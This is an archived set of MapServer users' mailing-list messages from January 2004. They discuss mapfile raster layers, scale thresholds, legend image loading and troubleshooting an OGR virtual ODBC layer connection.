> Then, zoom the client to the scale you would like to set as a 
> boundary, and record the value of that [scale] tag.  You 
> don't even need to understand the units involved (though that 
> is set by the UNITS item in your MAP object).
> 
> One of my favorite techniques is have two layers by the same 
> name (one presenting more detail than the other) where the 
> MAXSCALE for one is the MINSCALE for the other.  As the 
> client crosses this threshold they are presented with the 
> more detailed layer.  For instance, showing a highway layer, 
> and then switching to a full street map when zoomed close.
> 
> -Dan
> 
> > -----Original Message-----
> > From: mapserver-users-admin at lists.gis.umn.edu
> > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> > Jim Buzbee
> > Sent: Thursday, January 22, 2004 12:17 PM
> > To: mapserver-users at lists.gis.umn.edu
> > Subject: Re: [Mapserver-users] Easy mapfile question
> > 
> > 
> > 
> > 
> > Tyler Mitchell wrote:
> > 
> > > 
> > > 
> > > 
> > > 
> > >>I currently have a single raster image referenced in my map
> > file and
> > >>it is working properly.  My question : How do I add
> > additional rasters
> > >>to the map file?
> > > 
> > > 
> > > The exact same way, just adding more LAYER....END sections.
> > 
> > OK
> > 
> > > 
> > > 
> > >>For example, say I have a raster map of the western US with
> > extents of
> > >>something like 34N, 114W to 35N, 112W. How do I reference
> > this in my
> > >>map file?  Here's my current map file :
> > > 
> > > 
> > > I guess your question may be more related to how to make 
> the images
> > > line up with each other and/or turn automatically.  Are you 
> > additional
> > > images georeferenced, i.e. geotiff's or tiffs with world
> > files (.twf)?
> > 
> > 
> > Right now, that's an open question as I haven't acquired the
> > real data.
> > 
> > For a test, I just created a ".wld" file that described a
> > jpeg file and 
> > I'm seeing how it fits in.  From an earlier response, I gather my 
> > MINSCALE and MAXSCALE settings for the layers will tell 
> > mapserver when 
> > to render the raster?
> > 
> > Jim
> > 
> > 
> > 
> > 
> > > 
> > > 
> > >>MAP
> > >>   STATUS ON
> > >>   EXTENT -180 -90 180 90
> > >>   UNITS DD
> > >>   SIZE 640 320
> > >>   SHAPEPATH  "/usr/apache2/htdocs/maps/"
> > >>
> > >>WEB
> > >>   TEMPLATE world.html
> > >>   IMAGEPATH "/usr/apache2/htdocs/tmp/"
> > >>   IMAGEURL "/tmp/"
> > >>END
> > >>
> > >>   LAYER
> > >>     NAME world
> > >>     TYPE RASTER
> > >>     DATA world.tif
> > >>     STATUS DEFAULT
> > >>   END
> > >>
> > >>END
> > >>
> > >>Thanks!
> > >>
> > >>Jim Buzbee
> > >>
> > >>
> > >>_______________________________________________
> > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > > 
> > > 
> > > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> > 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From Daniel.A.Martin at erac.com  Thu Jan 22 11:46:29 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 22 Jan 2004 13:46:29 -0600
Subject: [Mapserver-users] tip request
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A01C2E638@STL-EXBE-I03.corp.erac.com>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E120.6DCFF724
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

If you don't use a HTML legend, you get a single image for the entire
legend.  Do you require the functions of an HTML legend?
=20
-Dan

	-----Original Message-----
	From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Giorgio
Plazzotta
	Sent: Thursday, January 22, 2004 10:53 AM
	To: mapserver-users at lists.gis.umn.edu
	Subject: [Mapserver-users] tip request
=09
=09
	Hi all,
	in my application i am not using the legend tool provided with
mapserver and  i am managing it client side with dhtml and javascript.
There is a problem caused by the HTTP protocol characteristics that i
would like to solve. It happens when i have a project with many classes
in the legend (example 300 classes). Each classes need a small raster
file to describe how the class is rendered. If the files, though small,
are many, the hppt protocol require that a connection between the client
and the server is established everytime so even if the  amount of data
to transfer is not huge, the time to transfer the hundreds files is not
acceptable. I think that there can be several different ways to solve it
but don't know if they will work and which is the best. For example i
should try to pass only one file containing all the legend symbols but
then i need a good way to show only a portion of it inside the client
code. I could also load the files only when they are needed so
posticipating and segmenting the load. I don't want to use client
technologie that are not already embedded in the default browser
(explorer) so no plug in, activex and so on. Probably some of you have a
good tip about it. thanx in advance
	=20
	Giorgio Plazzotta
	Saras Ricerche=20
	Assemini (CA) - Italy
	=20


------_=_NextPart_001_01C3E120.6DCFF724
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable


Message






If you=20
don't use a HTML legend, you get a single image for the entire =
legend.  Do=20
you require the functions of an HTML legend?


 


-Dan



  

  
-----Original Message-----
From:=20
  mapserver-users-admin at lists.gis.umn.edu=20
  [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of =
Giorgio=20
  Plazzotta
Sent: Thursday, January 22, 2004 10:53 =
AM
To:=20
  mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] =
tip=20
  request


  
Hi all,

  
in my application i am not =
using the=20
  legend tool provided with mapserver and  i am managing it client =
side=20
  with dhtml and javascript. There is a problem caused by the HTTP =
protocol=20
  characteristics that i would like to solve. It happens when i have a =
project=20
  with many classes in the legend (example 300 classes). Each classes =
need a=20
  small raster file to describe how the class is rendered. If the files, =
though=20
  small, are many, the hppt protocol require that a connection between =
the=20
  client and the server is established everytime so even if the  =
amount of=20
  data to transfer is not huge, the time to transfer the hundreds files =
is not=20
  acceptable. I think that there can be several different ways to solve =
it but=20
  don't know if they will work and which is the best. For example i =
should try=20
  to pass only one file containing all the legend symbols but then i =
need a good=20
  way to show only a portion of it inside the client code. I could also =
load the=20
  files only when they are needed so posticipating and segmenting the =
load. I=20
  don't want to use client technologie that are not already embedded in =
the=20
  default browser (explorer) so no plug in, activex and so on. Probably =
some of=20
  you have a good tip about it. thanx in advance

  
 

  
Giorgio Plazzotta

  
Saras Ricerche 

  
Assemini (CA) - Italy

  
 

=00
------_=_NextPart_001_01C3E120.6DCFF724--


From hjulien at nrcan.gc.ca  Thu Jan 22 11:55:44 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 22 Jan 2004 14:55:44 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F78FF9@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Norm,
That was a cut and paste error in my email.
The virtual file is okay: mgwi.ovf

I tried the mapfile LABELITEM suggestion:" may need to use table.name or
just name depending on your OVF file".

I also tried a relative and absolute CONNECTION in the mapfile.

I keep on getting the following message:
msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format. 


H?ryk



-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Thursday, January 22, 2004 1:48 PM
? : Julien, Heryk
Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien,

What is the exact name of your "ovf" file?  Because the name you 
specified in the "CONNECTION" parameter in the map file does not match 
the one given for you "ovf" file.

See in your email below:  "Here is my virtual file (mgw.ovf):"

See your "CONNECTION" parameter into your map file for your specific 
virtual layer:

...
CONNECTIONTYPE OGR
CONNECTION "mgwi.ovf"

...

Norm


Julien, Heryk wrote:

>Hi to all,
>
>I replaced my version of Mapserver with a precompiled one. I also installed
>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>
>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>the virtual file:
>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>DSN for my ODBC data source.
>
>Here is the orginfo output:
>
>D:\WebScripts\MapServer>ogrinfo --formats
>Loaded OGR Format Drivers:
>  -> "ESRI Shapefile" (read/write)
>  -> "UK .NTF" (readonly)
>  -> "SDTS" (readonly)
>  -> "TIGER" (read/write)
>  -> "S57" (read/write)
>  -> "MapInfo File" (read/write)
>  -> "DGN" (read/write)
>  -> "VRT" (readonly)
>  -> "AVCBin" (readonly)
>  -> "REC" (readonly)
>  -> "Memory" (read/write)
>  -> "GML" (read/write)
>  -> "ODBC" (read/write)
>  -> "OGDI" (readonly)
>  -> "FMEObjects Gateway" (readonly)
>
>D:\WebScripts\MapServer>ogrinfo
>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>ERROR 4: Update access not supported for VRT datasources.
>Had to open data source read-only.
>INFO: Open of
>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>using driver `VRT' successful.
>1: MGWI_TBLLOC (Point)
>
>When I execute Mapserver I got the following message:
>msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
>
>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
>not found or unsupported format. 
>
>
>
>Thanks for the help
>
>H?ryk
>
>
>
>-----Message d'origine-----
>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>Envoy? : Wednesday, January 21, 2004 5:26 PM
>? : Julien, Heryk
>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin
>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Julien,
>
>Just because I do not know all the steps you have done, can you tell me 
>if you were able to have some output form "ogrinfo" command?
>
>Norm
>
>Julien, Heryk wrote:
>
>  
>
>>Hi Paul,
>>What do I write in the virtual file SrcDataSource tag when I log on a
>>    
>>
>Access
>  
>
>>db with no user restrictions and pass word?
>>I've tried the following combinations without success:
>>
>>ODBC:MGWI_MAPSERVER
>>ODBC:@MGWI_MAPSERVER
>>ODBC:/@MGWI_MAPSERVER
>>ODBC:administor/@MGWI_MAPSERVER 
>>ODBC:administeur/@MGWI_MAPSERVER
>>
>>Thanks
>>H?ryk
>>
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>
>>
>>I believe there is a limitation in the OGR OBDC connection that requires 
>>that you provide a user name and password in the OVF file (I think that 
>>is mentioned in the wiki also).
>>
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>> 
>>
>>    
>>
>>>Hi,
>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with
IIS
>>>and an Access 2000 ODBC connection.
>>>
>>>I keep on getting the following error message when I attempt ton see my
>>>   
>>>
>>>      
>>>
>>map:
>> 
>>
>>    
>>
>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>   
>>>
>>>      
>>>
>>'MGWI_TBLLOC'.
>> 
>>
>>    
>>
>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>   
>>>
>>>      
>>>
>>File
>> 
>>
>>    
>>
>>>not found or unsupported format.
>>>
>>>Anyone can help me?
>>>
>>>
>>>
>>>Here is my virtual file (mgw.ovf):
>>>
>>>
>>>   
>>>       ODBC:MGWI_MAPSERVER 
>>>	tblloc 
>>>	wkbPoint
>>>	         
>>>	 
>>>   
>>>
>>>
>>>
>>>
>>>
>>>My virtual layer is in the same directory as my shapefiles:
>>>
>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>
>>>
>>>
>>>
>>>Here is the section of my mapfile where I call my virtual layer:
>>>
>>>LAYER
>>>	NAME "MGWI_TBLLOC"
>>>	TYPE POINT
>>>	CONNECTIONTYPE OGR
>>>	CONNECTION "mgwi.ovf"
>>>	DATA "MGWI_TBLLOC"
>>>	STATUS DEFAULT
>>>	LABELITEM "LOCID"
>>>	PROJECTION
>>>		"init=epsg:26920"
>>>	END #projection
>>>	CLASS
>>>		SYMBOL 'circle'
>>>		SIZE 8
>>>		LABEL
>>>			COLOR 132 31 31
>>>			SHADOWCOLOR 218 218 218
>>>			SHADOWSIZE 2 2
>>>			TYPE TRUETYPE
>>>			FONT arial-bold
>>>			FORCE true
>>>			SIZE 10
>>>			POSITION auto
>>>			PARTIALS FALSE
>>>			MINDISTANCE 0
>>>			BUFFER 2
>>>		END # end of label
>>>	    TEMPLATE
>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html
"
>>>	END # CLASS
>>>END # LAYER
>>>
>>>
>>>
>>>
>>>
>>>
>>>==========================================
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Thanks
>>>
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>? : Julien, Heryk
>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Maybe you missed it?
>>>
>>>
>>>   
>>>
>>>      
>>>
>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.htm
l
>> 
>>
>>    
>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>      
>>>
>>>>Hi Paul,
>>>>Could you send me or post information on the "new format in 
>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations"?
>>>>
>>>>Thanks
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Hi,
>>>>I am also very interseted in that fonction. I would like to be able to
>>>>        
>>>>
>map
>  
>
>>>>well positions from a database x and y colums. Would this permit me to
>>>>     
>>>>
>>>>        
>>>>
>>>have
>>>
>>>   
>>>
>>>      
>>>
>>>>an up to date point geometry layer which reflects the changes in my well
>>>>database? Can you send me more details?
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>? : bartvde at xs4all.nl
>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Bart,
>>>>
>>>>if you are interested in point geometries only, there is a new format in

>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>for a couple of clients and it works very nicely.  If you are interested

>>>>I can send you more details.
>>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Bart van den Eijnden wrote:
>>>>
>>>>
>>>>
>>>>     
>>>>
>>>>        
>>>>
>>>>>Hi list,
>>>>>
>>>>>I see in the history log that there has been some work done recently 
>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>connector. Can it be used already?
>>>>>
>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>
>>>>>Thanks in advance for the info.
>>>>>
>>>>>Best regards,
>>>>>Bart
>>>>>_______________________________________________
>>>>>Mapserver-users mailing list
>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>
>>>>>       
>>>>>
>>>>>          
>>>>>
>>>>     
>>>>
>>>>        
>>>>
>> 
>>
>>    
>>
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From stephen.clark at focus.ca  Thu Jan 22 13:03:16 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Thu, 22 Jan 2004 13:03:16 -0800
Subject: [Mapserver-users] Display of text labels  by type :FORCE TRUE trick??
References: 
Message-ID: <072701c3e12b$286e81c0$6c000a0a@sclark>

David,

A better explanation is that I am trying to display the point sites by type.

Specifically, I want the point sites displayed in the following order

cities
towns,
localities

Where there a lot of labels of the "localities" I only want as many as there
is room for on the screen after the other point sites have been drawn.

Such as:
cities -- FORCE TRUE
towns -- FORCE TRUE
localities -- FORCE FALSE.

BUT I only want to use one shape file to do this...

thanks
Stephen



----- Original Message ----- 
From: "David Fawcett" 
To: 
Sent: Thursday, January 22, 2004 11:43 AM
Subject: Re: [Mapserver-users] Display of text labels by type


> Stephen,
>
> I am not quite sure what you are trying to do.  Do you wish to use
> different label styles for the different 'type' of minor civil division
> (city, twp, etc.)?
>
> If so, you could set up different CLASSs, with an expression on the
> 'type' field and each CLASS would have its own LABEL defined within.
>
> I may be completely oversimplifying your question though.
>
> David.
>
> David J. Fawcett
> MN Office of Environmental Assistance
>
> >>> "Stephen Clark"  1/22/2004 1:58:46 PM >>>
> Hello,
>
> I have a shape point file with names of point locations.
>
> Each point location has a type such as City, town, locality, etc.,
>
> How can I specify that the point is annotated by using the "type" of
> point
> feature?
>
> I have included a sample layer file as reference.
>
> thanks
> Stephen
>
>
>
> LAYER
>   NAME "bcgnis_pop_place"
>   STATUS OFF
>   DATA "d:/shp/NEBC_pop_place_name"
>   TYPE ANNOTATION
>   LABELITEM "NAME"
>   CLASS
>     COLOR 0 255 0
>     LABEL
>       MINFEATURESIZE 40
>       MINDISTANCE 150
>       POSITION CC
>       COLOR 0 255 0
>
>       FONT arial
>       TYPE truetype
>       SIZE 10
>       #FORCE TRUE
>     END
>   END
>
>
> END
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From spencer at dmsolutions.ca  Thu Jan 22 12:08:35 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 22 Jan 2004 15:08:35 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <06B403677C41D51194550002A55107D201F78FF9@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78FF9@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40102DC3.4050701@magma.ca>

Does the ovf file work with ogrinfo?  That is the first place to start 
because it will give you more detailed debugging information.  Once that 
works, then you should return to the map file.  Until you can get the 
ovf file to work with ogrinfo, you are not going to get useful debugging 
information because MapServer will continue to tell you that it can't 
draw the layer with misleading information.

BTW, one other thing to check .. gdal11.dll may appear in multiple 
places in your system and you may not be using the one you think you 
are.  Search your system for this file and make sure they are all the 
same, or that you are certain that mapserver is using the right one.

Cheers,

Paul

Julien, Heryk wrote:

> Hi Norm,
> That was a cut and paste error in my email.
> The virtual file is okay: mgwi.ovf
> 
> I tried the mapfile LABELITEM suggestion:" may need to use table.name or
> just name depending on your OVF file".
> 
> I also tried a relative and absolute CONNECTION in the mapfile.
> 
> I keep on getting the following message:
> msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
> found or unsupported format. 
> 
> 
> H?ryk
> 
> 
> 
> -----Message d'origine-----
> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
> Envoy? : Thursday, January 22, 2004 1:48 PM
> ? : Julien, Heryk
> Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Julien,
> 
> What is the exact name of your "ovf" file?  Because the name you 
> specified in the "CONNECTION" parameter in the map file does not match 
> the one given for you "ovf" file.
> 
> See in your email below:  "Here is my virtual file (mgw.ovf):"
> 
> See your "CONNECTION" parameter into your map file for your specific 
> virtual layer:
> 
> ...
> CONNECTIONTYPE OGR
> CONNECTION "mgwi.ovf"
> 
> ...
> 
> Norm
> 
> 
> Julien, Heryk wrote:
> 
> 
>>Hi to all,
>>
>>I replaced my version of Mapserver with a precompiled one. I also installed
>>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>
>>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>>the virtual file:
>>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>>DSN for my ODBC data source.
>>
>>Here is the orginfo output:
>>
>>D:\WebScripts\MapServer>ogrinfo --formats
>>Loaded OGR Format Drivers:
>> -> "ESRI Shapefile" (read/write)
>> -> "UK .NTF" (readonly)
>> -> "SDTS" (readonly)
>> -> "TIGER" (read/write)
>> -> "S57" (read/write)
>> -> "MapInfo File" (read/write)
>> -> "DGN" (read/write)
>> -> "VRT" (readonly)
>> -> "AVCBin" (readonly)
>> -> "REC" (readonly)
>> -> "Memory" (read/write)
>> -> "GML" (read/write)
>> -> "ODBC" (read/write)
>> -> "OGDI" (readonly)
>> -> "FMEObjects Gateway" (readonly)
>>
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>When I execute Mapserver I got the following message:
>>msDrawMap(): Image handling error. Failed to draw layer named
> 
> 'MGWI_TBLLOC'.
> 
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
>>not found or unsupported format. 
>>
>>
>>
>>Thanks for the help
>>
>>H?ryk
>>
>>
>>
>>-----Message d'origine-----
>>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>Envoy? : Wednesday, January 21, 2004 5:26 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>>Connectiontype)
>>
>>
>>Julien,
>>
>>Just because I do not know all the steps you have done, can you tell me 
>>if you were able to have some output form "ogrinfo" command?
>>
>>Norm
>>
>>Julien, Heryk wrote:
>>
>> 
>>
>>
>>>Hi Paul,
>>>What do I write in the virtual file SrcDataSource tag when I log on a
>>>   
>>>
>>
>>Access
>> 
>>
>>
>>>db with no user restrictions and pass word?
>>>I've tried the following combinations without success:
>>>
>>>ODBC:MGWI_MAPSERVER
>>>ODBC:@MGWI_MAPSERVER
>>>ODBC:/@MGWI_MAPSERVER
>>>ODBC:administor/@MGWI_MAPSERVER 
>>>ODBC:administeur/@MGWI_MAPSERVER
>>>
>>>Thanks
>>>H?ryk
>>>
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>>? : Julien, Heryk
>>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>>Anctil, Martin
>>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>>
>>>
>>>I believe there is a limitation in the OGR OBDC connection that requires 
>>>that you provide a user name and password in the OVF file (I think that 
>>>is mentioned in the wiki also).
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>
>>>>Hi,
>>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with
> 
> IIS
> 
>>>>and an Access 2000 ODBC connection.
>>>>
>>>>I keep on getting the following error message when I attempt ton see my
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>map:
>>>
>>>
>>>   
>>>
>>>
>>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>'MGWI_TBLLOC'.
>>>
>>>
>>>   
>>>
>>>
>>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>File
>>>
>>>
>>>   
>>>
>>>
>>>>not found or unsupported format.
>>>>
>>>>Anyone can help me?
>>>>
>>>>
>>>>
>>>>Here is my virtual file (mgw.ovf):
>>>>
>>>>
>>>>  
>>>>      ODBC:MGWI_MAPSERVER 
>>>>	tblloc 
>>>>	wkbPoint
>>>>	         
>>>>	 
>>>>  
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>My virtual layer is in the same directory as my shapefiles:
>>>>
>>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>
>>>>
>>>>
>>>>
>>>>Here is the section of my mapfile where I call my virtual layer:
>>>>
>>>>LAYER
>>>>	NAME "MGWI_TBLLOC"
>>>>	TYPE POINT
>>>>	CONNECTIONTYPE OGR
>>>>	CONNECTION "mgwi.ovf"
>>>>	DATA "MGWI_TBLLOC"
>>>>	STATUS DEFAULT
>>>>	LABELITEM "LOCID"
>>>>	PROJECTION
>>>>		"init=epsg:26920"
>>>>	END #projection
>>>>	CLASS
>>>>		SYMBOL 'circle'
>>>>		SIZE 8
>>>>		LABEL
>>>>			COLOR 132 31 31
>>>>			SHADOWCOLOR 218 218 218
>>>>			SHADOWSIZE 2 2
>>>>			TYPE TRUETYPE
>>>>			FONT arial-bold
>>>>			FORCE true
>>>>			SIZE 10
>>>>			POSITION auto
>>>>			PARTIALS FALSE
>>>>			MINDISTANCE 0
>>>>			BUFFER 2
>>>>		END # end of label
>>>>	    TEMPLATE
>>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html
> 
> "
> 
>>>>	END # CLASS
>>>>END # LAYER
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>==========================================
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>>? : Julien, Heryk
>>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Maybe you missed it?
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.htm
> 
> l
> 
>>>
>>>   
>>>
>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Julien, Heryk wrote:
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>Hi Paul,
>>>>>Could you send me or post information on the "new format in 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations"?
>>>>>
>>>>>Thanks
>>>>>H?ryk
>>>>>
>>>>>-----Message d'origine-----
>>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>>? : 'spencer at dmsolutions.ca'
>>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Hi,
>>>>>I am also very interseted in that fonction. I would like to be able to
>>>>>       
>>>>>
>>
>>map
>> 
>>
>>
>>>>>well positions from a database x and y colums. Would this permit me to
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>
>>>>have
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>an up to date point geometry layer which reflects the changes in my well
>>>>>database? Can you send me more details?
>>>>>
>>>>>Thanks
>>>>>
>>>>>H?ryk
>>>>>NRCan
>>>>>
>>>>>-----Message d'origine-----
